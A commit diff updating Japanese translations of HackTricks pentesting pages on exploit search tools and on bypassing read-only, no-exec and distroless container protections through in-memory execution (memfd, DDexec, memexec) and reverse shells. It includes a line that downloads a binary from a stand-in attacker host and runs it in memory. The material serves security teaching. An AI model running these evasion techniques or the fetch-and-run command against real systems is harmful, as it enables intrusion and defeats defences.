mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['generic-methodologies-and-resources/search-exploits.md', 'l
This commit is contained in:
parent
099e4d2082
commit
a4bd45585c
24 changed files with 1418 additions and 1953 deletions
|
@ -1,36 +1,36 @@
|
|||
# エクスプロイトの検索
|
||||
# 脆弱性検索
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で**最も先進的な**コミュニティツールを搭載した**ワークフローを簡単に構築し自動化する**。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワードされたワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセス:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### ブラウザ
|
||||
|
||||
常に"google"または他の検索エンジンで次のように検索する: **\<service\_name> \[version] exploit**
|
||||
常に「google」などで検索してください:**\<service_name> \[version] exploit**
|
||||
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)からの**shodan** **エクスプロイト検索**も試してみてください。
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)から**shodanの脆弱性検索**を試してみてください。
|
||||
|
||||
### Searchsploit
|
||||
|
||||
**コンソールからexploitdbのエクスプロイトを検索する**のに便利です。
|
||||
**コンソールからexploitdbのサービスの脆弱性を検索**するために便利です。
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
|||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) はエクスプロイトを検索するための別のツールです
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)は、エクスプロイトを検索するための別のツールです。
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
|
@ -50,34 +50,34 @@ msf> search platform:windows port:135 target:XP type:exploit
|
|||
```
|
||||
### PacketStorm
|
||||
|
||||
何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com) 内で使用されているテクノロジーを検索してみてください。
|
||||
何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com) 内の使用されている技術を検索してみてください。
|
||||
|
||||
### Vulners
|
||||
|
||||
また、vulnersデータベースで検索することもできます: [https://vulners.com/](https://vulners.com)
|
||||
Vulners データベースでも検索できます: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
他のデータベースでエクスプロイトを検索します: [https://sploitus.com/](https://sploitus.com)
|
||||
他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
世界で**最も進んだ**コミュニティツールを使ってワークフローを簡単に構築し、**自動化**するために[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用してください。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
|
||||
今すぐアクセス:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローになる方法を学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。**
|
||||
* **HackTricks で企業を宣伝** したい場合や **HackTricks をPDFでダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,29 @@
|
|||
# FS保護のバイパス: 読み取り専用 / 実行不可 / Distroless
|
||||
# ファイルシステム保護のバイパス: 読み取り専用 / 実行不可 / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **ハッキングのコツを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
## 動画
|
||||
|
||||
以下の動画では、このページで言及されているテクニックについてより詳しく説明しています:
|
||||
以下の動画では、このページで言及されているテクニックについてより詳しく説明されています:
|
||||
|
||||
* [**DEF CON 31 - Linuxメモリ操作の探索 ステルスと回避のために**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng & メモリ内dlopen()を使用したステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
|
||||
* [**DEF CON 31 - ステルスと回避のためのLinuxメモリ操作の探索**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ngとインメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
|
||||
|
||||
## 読み取り専用 / 実行不可シナリオ
|
||||
|
||||
特にコンテナ内では、**読み取り専用(ro)ファイルシステム保護**が設定されたLinuxマシンを見つけることが増えています。これは、コンテナにroファイルシステムを設定するのが、`securitycontext`で**`readOnlyRootFilesystem: true`**を設定するだけで簡単だからです:
|
||||
Linuxマシンで**読み取り専用(ro)ファイルシステム保護**がより一般的になってきていますが、特にコンテナでは、`securitycontext`で**`readOnlyRootFilesystem: true`**を設定するだけで簡単にroファイルシステムでコンテナを実行できます:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -38,103 +38,83 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能なので、ディスクに何も書き込めないわけではありません。ただし、このフォルダは**実行不可の保護でマウントされる**ため、ここにバイナリをダウンロードしても**実行することはできません**。
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能なままであるため、ディスクに書き込むことができないかのように見えます。ただし、このフォルダは**実行不可保護でマウント**されているため、ここにバイナリをダウンロードしても**実行できません**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
レッドチームの観点からすると、システムに既に存在しないバイナリ(バックドアや`kubectl`のような列挙ツールなど)を**ダウンロードして実行することが複雑になります**。
|
||||
レッドチームの観点からすると、これにより、システムにすでに存在しない(`kubectl`のような)バックドアや列挙子のようなバイナリを**ダウンロードして実行するのが複雑**になります。
|
||||
{% endhint %}
|
||||
|
||||
## 最も簡単なバイパス: スクリプト
|
||||
|
||||
バイナリについて言及したことに注意してください。マシン内にインタープリタがある限り、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**pythonスクリプト**など、**任意のスクリプトを実行**できます。
|
||||
バイナリと言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`が存在する場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。
|
||||
|
||||
しかし、これだけではバイナリバックドアや実行する必要がある他のバイナリツールを実行するには不十分です。
|
||||
ただし、これだけでは、バイナリバックドアや他の実行する必要があるバイナリツールを実行するのに十分ではありません。
|
||||
|
||||
## メモリバイパス
|
||||
|
||||
ファイルシステムがバイナリの実行を許可していない場合、最良の方法は**メモリから実行すること**です。なぜなら、**保護はメモリ内では適用されない**からです。
|
||||
ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行する**のが最善の方法です。なぜなら、**その保護はそこには適用されない**からです。
|
||||
|
||||
### FD + execシステムコールバイパス
|
||||
### FD + execシスコールバイパス
|
||||
|
||||
マシン内に強力なスクリプトエンジンがある場合、例えば**Python**、**Perl**、**Ruby**など、メモリから実行するバイナリをダウンロードし、それをメモリファイルディスクリプタ(`create_memfd`システムコール)に保存することができます。これは保護の対象外であり、その後**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**します。
|
||||
**Python**、**Perl**、**Ruby**などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd`シスコール)、これらの保護によって保護されないため、**fdをファイルとして実行する**という**`exec`シスコール**を呼び出すことができます。
|
||||
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、指定された言語のスクリプトを生成し、**バイナリを圧縮してb64エンコード**し、`create_memfd`システムコールを呼び出して作成された**fd**に**デコードして解凍する**指示と、それを実行するための**exec**システムコールの呼び出しを行います。
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮されb64エンコードされた**スクリプトが生成され、`create_memfd`シスコールを呼び出して作成された**fd**に**デコードおよび解凍する**命令と、それを実行する**exec**シスコールの呼び出しが含まれます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、これらの言語にはスクリプトから生のシステムコールを呼び出す**デフォルトの方法がない**ため、バイナリを保存するための**メモリfd**を作成する`create_memfd`を呼び出すことができません。
|
||||
これは、PHPやNodeなどの他のスクリプト言語では機能しないため、スクリプトから**生のシスコールを呼び出すデフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを保存するメモリfd**を作成することはできません。
|
||||
|
||||
さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても、**実行不可の保護**が適用されるため、実行することはできません。
|
||||
さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても、**実行不可保護**が適用されるため、実行できません。
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、自分のプロセスのメモリを**`/proc/self/mem`**を上書きすることで**変更する**技術です。
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**`/proc/self/mem`**を上書きすることで、**自分自身のプロセスのメモリを変更**する技術であります。
|
||||
|
||||
したがって、プロセスによって実行されているアセンブリコードを**制御する**ことで、**シェルコード**を書き込み、プロセスを"変異"させて**任意のコードを実行**することができます。
|
||||
したがって、プロセスによって実行されている**アセンブリコードを制御**することで、**シェルコード**を書き込み、プロセスを**任意のコードを実行**するように「変異」させることができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec**は、独自の**シェルコード**や**任意のバイナリ**を**メモリからロードして実行する**ことを可能にします。
|
||||
**DDexec / EverythingExec**を使用すると、**自分自身のメモリから**自分自身の**シェルコード**または**任意のバイナリ**を**ロードして実行**できます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
このテクニックについての詳細はGithubをチェックするか、以下を参照してください:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
[ddexec.md](ddexec.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec)はDDexecの自然な次のステップです。これは**デーモン化されたDDexecシェルコード**で、異なるバイナリを**実行したいたびに**DDexecを再起動する必要はなく、DDexecテクニックを介してmemexecシェルコードを実行し、このデーモンと**通信して新しいバイナリをロードして実行する**ことができます。
|
||||
[**Memexec**](https://github.com/arget13/memexec)はDDexecの自然な次のステップです。これは**DDexecシェルコードをデーモン化**したもので、異なるバイナリを実行したいときには、DDexecを再起動する必要はありません。代わりに、DDexec技術を使用してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリをロードして実行**できます。
|
||||
|
||||
PHPリバースシェルからバイナリを実行するために**memexecを使用する例**は[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見ることができます。
|
||||
**memexecを使用してPHPリバースシェルからバイナリを実行する例**は、[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。
|
||||
|
||||
### Memdlopen
|
||||
|
||||
DDexecと同様の目的で、[**memdlopen**](https://github.com/arget13/memdlopen)テクニックは、後で実行するためにメモリ内にバイナリを**より簡単にロードする方法**を提供します。これにより、依存関係を持つバイナリをロードすることも可能になるかもしれません。
|
||||
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリをロードして後で実行するための簡単な方法**を提供します。これにより、依存関係を持つバイナリをロードすることさえ可能になります。
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
### Distrolessとは
|
||||
|
||||
Distrolessコンテナには、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネントのみ**が含まれており、ライブラリやランタイム依存関係などが含まれますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されています。
|
||||
Distrolessコンテナには、ライブラリやランタイム依存関係など、**特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネント**だけが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。
|
||||
|
||||
Distrolessコンテナの目的は、不要なコンポーネントを排除し、悪用される可能性のある脆弱性の数を最小限に抑えることによって、コンテナの**攻撃面を減らすこと**です。
|
||||
Distrolessコンテナの目標は、**不要なコンポーネントを排除**し、悪用される可能性のある脆弱性の数を最小限に抑えることで、コンテナの攻撃面を**縮小**することです。
|
||||
|
||||
### リバースシェル
|
||||
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`が**見つからない**かもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つからないでしょう。通常、システムで実行するものは何もありません。
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。`ls`、`whoami`、`id`などのバイナリも見つかりません。これらは通常、システムで実行するものです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、通常のように**リバースシェルを取得したり**、システムを**列挙することはできません**。
|
||||
したがって、通常どおりに**リバースシェル**を取得したり、システムを**列挙**することはできません。
|
||||
{% endhint %}
|
||||
|
||||
しかし、侵害されたコンテナが例えばflask webを実行している場合、pythonがインストールされているため、**Pythonリバースシェル**を取得することができます。nodeを実行している場合は、Nodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
|
||||
ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされているため、**Pythonリバースシェル**を取得できます。Nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
|
||||
|
||||
{% hint style="success" %}
|
||||
スクリプト言語を使用して、言語の機能を使って**システムを列挙する**ことができます。
|
||||
スクリプト言語を使用すると、言語の機能を使用してシステムを**列挙**できます。
|
||||
{% endhint %}
|
||||
|
||||
**読み取り専用/実行不可**の保護がない場合は、リバースシェルを悪用してファイルシステムにバイナリを**書き込み**、それらを**実行**することができます。
|
||||
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用してファイルシステムに**バイナリを書き込み**、それらを**実行**することができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
しかし、この種のコンテナでは通常これらの保護が存在しますが、**前述のメモリ実行テクニックを使用してそれらをバイパスする**ことができます。
|
||||
ただし、この種のコンテナでは通常、これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
{% endhint %}
|
||||
|
||||
スクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行するために、いくつかのRCE脆弱性を**悪用する例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* HackTricksに**広告を掲載したい**場合や**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
|
||||
|
||||
</details>
|
||||
**RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得**し、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)でメモリからバイナリを実行する方法の**例**を見つけることができます。
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
|
||||
|
||||
</details>
|
||||
|
||||
## コンテキスト
|
||||
|
||||
Linuxでは、プログラムを実行するためには、ファイルとして存在し、ファイルシステム階層を通じて何らかの方法でアクセス可能である必要があります(これは`execve()`の動作方法です)。このファイルはディスク上にあるか、またはram(tmpfs、memfd)にあるが、ファイルパスが必要です。これにより、Linuxシステム上で実行されるものを制御することが非常に簡単になり、脅威や攻撃者のツールを検出することが容易になるか、または彼らが自分たちのものを一切実行しようとすることを防ぐことができます(例えば、特権のないユーザーが実行可能なファイルをどこにも配置できないようにする)。
|
||||
Linuxでは、プログラムを実行するためには、ファイルとして存在する必要があり、ファイルシステム階層を通じていかなる方法でもアクセスできる必要があります(これは単に `execve()` が動作する方法です)。このファイルはディスク上にあるか、ram(tmpfs、memfd)にあるかもしれませんが、ファイルパスが必要です。これにより、Linuxシステムで実行されるものを制御することが非常に簡単になり、脅威や攻撃者のツールを検出したり、それらが自分たちのものを実行しようとするのを防止したりすることが簡単になります(たとえば、特権のないユーザーが実行可能ファイルをどこにでも配置することを許可しない)。
|
||||
|
||||
しかし、このテクニックはこれをすべて変えるためにここにあります。もし、あなたが望むプロセスを開始できない場合は... **既に存在するプロセスをハイジャックします**。
|
||||
しかし、このテクニックはすべてを変えるためにここにあります。**希望のプロセスを開始できない場合は... すでに存在するプロセスを乗っ取ります**。
|
||||
|
||||
このテクニックにより、読み取り専用、noexec、ファイル名ホワイトリスト、ハッシュホワイトリストなどの一般的な保護技術を**バイパスすることができます**。
|
||||
このテクニックにより、**読み取り専用、noexec、ファイル名のホワイトリスト、ハッシュのホワイトリストなどの一般的な保護技術をバイパス**できます。
|
||||
|
||||
## 依存関係
|
||||
|
||||
最終的なスクリプトは、攻撃対象のシステムでアクセス可能である必要がある以下のツールに依存しています(デフォルトでは、これらはどこにでもあります):
|
||||
最終スクリプトは、以下のツールに依存して動作します。攻撃対象のシステムでこれらのツールにアクセスできる必要があります(デフォルトではどこでも見つけることができます):
|
||||
```
|
||||
dd
|
||||
bash | zsh | ash (busybox)
|
||||
|
@ -38,72 +38,70 @@ wc
|
|||
tr
|
||||
base64
|
||||
```
|
||||
## 技術
|
||||
## テクニック
|
||||
|
||||
プロセスのメモリを任意に変更できる場合、そのプロセスを乗っ取ることができます。これは、既存のプロセスをハイジャックして別のプログラムに置き換えるために使用できます。これは、`ptrace()` システムコールを使用するか(これにはシステムコールを実行する能力があるか、システムに gdb が利用可能である必要があります)、もっと興味深いことに、`/proc/$pid/mem` に書き込むことで実現できます。
|
||||
プロセスのメモリを任意に変更できる場合、そのプロセスを乗っ取ることができます。これは既存のプロセスを乗っ取り、別のプログラムで置き換えるために使用できます。これは、`ptrace()` シスコールを使用するか(これにはシスコールを実行する権限が必要またはシステムに gdb が利用可能である必要があります)、またはより興味深い方法として `/proc/$pid/mem` に書き込むことで達成できます。
|
||||
|
||||
ファイル `/proc/$pid/mem` はプロセスのアドレス空間全体の一対一のマッピングです(例えば、x86-64 では `0x0000000000000000` から `0x7ffffffffffff000` まで)。これは、オフセット `x` でこのファイルを読み書きすることは、仮想アドレス `x` の内容を読み取るか変更するのと同じであることを意味します。
|
||||
